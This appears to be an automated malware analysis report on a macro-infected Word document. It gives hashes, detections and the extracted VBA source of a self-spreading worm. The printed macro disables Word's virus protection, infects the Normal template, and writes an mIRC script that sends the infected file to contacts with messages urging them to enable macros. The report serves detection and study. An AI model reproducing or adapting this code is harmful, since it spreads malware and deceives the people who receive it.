Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f69d38e7fb4e7558…

MALICIOUS

Office (OLE)

113.0 KB Created: 2016-07-07 19:18:00 Authoring application: Microsoft Word 11.5.6 First seen: 2019-05-16
MD5: ca2043ffd687301d81ce7b212326426e SHA-1: d87ad5e57d0ffb7fee92df756a85e03b74cab6b1 SHA-256: f69d38e7fb4e755843f229718c649b258e6b933e40ec82bedf5ec2363f271295
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically a Document_Open macro designed to execute malicious code upon opening. The macro attempts to disable security features and establish persistence by writing to a file path that appears to be related to mIRC. It also contains logic to download and execute a second-stage payload from a URL, although the exact URL is not fully reconstructed. The document body is a lure for a pony club event.

Heuristics 4

  • ClamAV: Doc.Trojan.Story-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Story-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://branches.pcuk.org/cotley/ In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7039 bytes
SHA-256: 901a93243537165637b26a940ed82405679d500ff9231c30199f55d8fb1434ac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'Jack-In-The-Box
Set Something = Options
Something.VirusProtection = 0
Something.ConfirmConversions = 0
Something.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
Application.StatusBar = 0
Application.ScreenUpdating = 0
Set AnI = ActiveDocument.VBProject.VBComponents(1)
Set BnI = NormalTemplate.VBProject.VBComponents(1)
If UCase(AnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InA = 1
If UCase(BnI.CodeModule.Lines(3, 1)) = "'JACK-IN-THE-BOX" Then InB = 1
If InA = 1 And InB = 1 Then Exit Sub
Set CnI = MacroContainer.VBProject.VBComponents.Item(1)
VCode = CnI.CodeModule.Lines(2, CnI.CodeModule.CountOfLines)
If InA = 1 Then BnI.CodeModule.AddFromString ("Private Sub Document_Close" & Chr(13) & VCode)
If InB = 1 Then AnI.CodeModule.AddFromString ("Private Sub Document_Open" & Chr(13) & VCode)
NormalTemplate.Save
somename = ActiveDocument.Name
DoEvents
If InB = 1 Then
If Dir("C:\mirc\mirc32.exe") <> "" Then
var3 = "C:\mirc\script.ini"
If System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "warn", "fserve") = "off"
If System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") <> "" Then System.PrivateProfileString("C:\mirc\mirc.ini", "fileserver", "warning") = "off"
If Dir(var3) <> "" Then Kill var3
Open "C:\mirc\script.ini" For Output As #1
Print #1, "[script]"
Print #1, "n0=On 1:Connect:{ .notify SimpleSmn | Set %var7 $rand(1,8) | If ( %var7 = 1 ) { Set %var8 mirc.com } | If ( %var7 = 2 ) { Set %var8 georgecarlin.com } | If ( %var7 = 3 ) { Set %var8 carrottop.com } | If ( %var7 = 4 ) { Set %var8 anvdesign.net } | If ( %var7 = 5 ) { Set %var8 symantec.com } | If ( %var7 = 6 ) { Set %var8 drsolomon.com } | If ( %var7 = 7 ) { Set %var8 www.bocklabs.wisc.edu } | If ( %var7 = 8 ) { Set %var8 ebay.com } | Set %var9 $rand(1,4) | If ( %var9 = 1 ) { Set %var10 evrt@avp.com } | If ( %var9 = 2 ) { Set %var10 samples@datafellows.com } | If ( %var9 = 3 ) { Set %var10 virus_research@nai.com } | If ( %var9 = 3 ) { Set %var10 tech_support@nai.com } | If ( $exists(C:\Windows\script1.ini) = $true ) { .remove C:\Windows\script1.ini } | .copy C:\mirc\script.ini C:\Windows\script1.ini | .load -rs C:\Windows\script1.ini | .write -c C:\mirc\script.ini [script] | .reload -rs C:\mirc\script.ini }"
Print #1, "n1=On 1:Input:*:{ Set %var1 $1- | If ( $upper(%var1) = /BY ) { .echo  1Mirc Worm  4Jack-In-The-Box | .echo  12< 9< 12< 9By SimpleSimon 12> 9> 12> | halt } }"
Print #1, "n2=On 1:Notify:{ .timer3 1 10 { .clear -s } | If ( $nick == SimpleSmn ) { .msg SimpleSmn I'm on irc. | halt } | .timer1 1 15 { .notify -r $nick | .ignore $nick | .timer9 1 5 { .msg $nick Hey, I can't talk right now but I wanted to send you this file.  It has a funny story you should read, and also has macros inside that protect you from a lot of viruses.  Just open the document, enable the macros, and if you are infected it will get rid of the virus } | .timer2 1 15 { .dcc send $nick C:\Windows\Story.doc } } | .timer 1 16 { .notify | .clear -s } }"
Print #1, "n3=On 1:Unotify: .clear -s"
Print #1, "n4=On 1:Join:#: if (help isin $chan) || (nohack isin $chan) { .part $chan } | If ( $exists(C:\mirc\script.ini) = $true ) { .remove C:\mirc\script.ini }"
Print #1, "n5=On 1:Filercvd:*.*: If ( $me != $nick ) { .dcc send $nick C:\Windows\Story.doc }"
Print #1, "n6=On 1:Invite:#:{ .ignore $nick | .timer 1 10 { .join # } | .timer 1 15 { .msg $nick Thanks for the invite } | .timer 1 20 { .msg $nick I'm a little busy so I can't talk much now.  I thought you might want to look at this file I got. It has a funny story and also has macros in it which get rid of any macro viruses.  Just enable the macros when the prompt comes up and it will scan for any viruses and clean them. } | .timer 1 25 { .dcc send $nick C:\Window
... (truncated)

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